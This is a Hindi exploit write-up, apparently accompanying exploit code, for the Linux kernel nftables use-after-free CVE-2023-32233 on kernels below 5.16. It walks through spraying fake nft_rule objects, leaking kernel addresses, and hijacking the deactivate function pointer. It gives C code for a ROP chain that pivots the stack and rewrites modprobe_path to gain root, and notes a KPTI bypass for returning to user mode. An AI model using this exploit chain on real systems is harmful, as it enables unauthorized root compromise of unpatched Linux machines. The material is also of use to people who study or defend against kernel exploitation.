
लिनक्स कर्नेल विशेषाधिकार वृद्धि शोषण CVE-2023-32233 के लिए nft_quota UAF, ROP श्रृंखला, और modprobe_path ओवरराइट का उपयोग करके कर्नेल <5.16 पर रूट प्राप्त करने के लिए।
चूंकि निम्न संस्करणों (<5.16) के कर्नेल में पैच का अभाव है, इसलिए nft_quota संरचना के consumed फ़ील्ड का उपयोग करके पढ़ने-लिखने के मेमोरी पतों का उपयोग नहीं किया जा सकता। हम ROP विधि का उपयोग करने पर विचार करते हैं। Google के EXP में NFT_MSG_DELRULE+NFT_MSG_DELSET विधि का उपयोग करके uaf को ट्रिगर किया गया है, लेकिन वास्तविक परीक्षण में पाया गया कि यह स्क्रिप्ट nf_table_commit->list_del_rcu में सीधे क्रैश हो जाती है।
यह EXP v5.15.110 संस्करण पर परीक्षित है
दोनों EXP को मिलाकर, nft_rule संरचना को स्प्रे करें, list_head के माध्यम से कर्नेल स्टैक पता लीक करें, nft_expr->ops के माध्यम से कर्नेल पता लीक करें, और nft_expr->ops->deactivate के माध्यम से नियंत्रण प्रवाह को हाईजैक करें।
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]
expr = nft_expr_next(expr);
}
}
सुविधा के लिए, हम सीधे exp1 पर आधारित modprobe_path विधि का उपयोग करते हैं, और निम्न ROP का निर्माण करते हैं।
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
data[0] = kbase + POP_5REG_RET; // skip metadata
data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
// /tmp/mod - sbin/mod
// 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
data[6] = kbase + POP_RAX_RET;
data[7] = kbase + cfg_modprobe_path+1; // [rax]
data[8] = kbase + POP_RDI_RET;
data[9] = 0x20411bc; // rdi
data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
पहले कर्नेल data[5] पर निष्पादित होता है, rax ब्लॉक की शुरुआत का पता रखता है (&data[0]), push rax; pop rsp; ret; का उपयोग करके स्टैक स्थानांतरण करता है, जो अनिवार्य रूप से स्टैक को नष्ट करता है (बाद में सामान्य रूप से उपयोगकर्ता मोड पर वापस नहीं लौट सकता; यदि उपयोगकर्ता मोड में विशेषाधिकार वृद्धि की आवश्यकता हो, तो exp में make_payload_rop2 का संदर्भ लेते हुए एक बड़ा ब्लॉक (>0x80) बनाया जा सकता है, जो swapgs_restore_regs_and_return_to_usermode का उपयोग करके kpti को बायपास करता है और उपयोगकर्ता मोड पर लौटता है)।
चूंकि नकली nft_rule में 0x18 बाइट मेटाडेटा होता है (मुख्य रूप से 0x10 ऑफ़सेट पर 8 बाइट), इन पतों को छोड़ने के लिए pop का उपयोग करना आवश्यक है, उसके बाद मनमाने ढंग से कार्रवाई की जा सकती है, कुछ छोटे gadgets का उपयोग करके modprobe_path को संशोधित किया जा सकता है।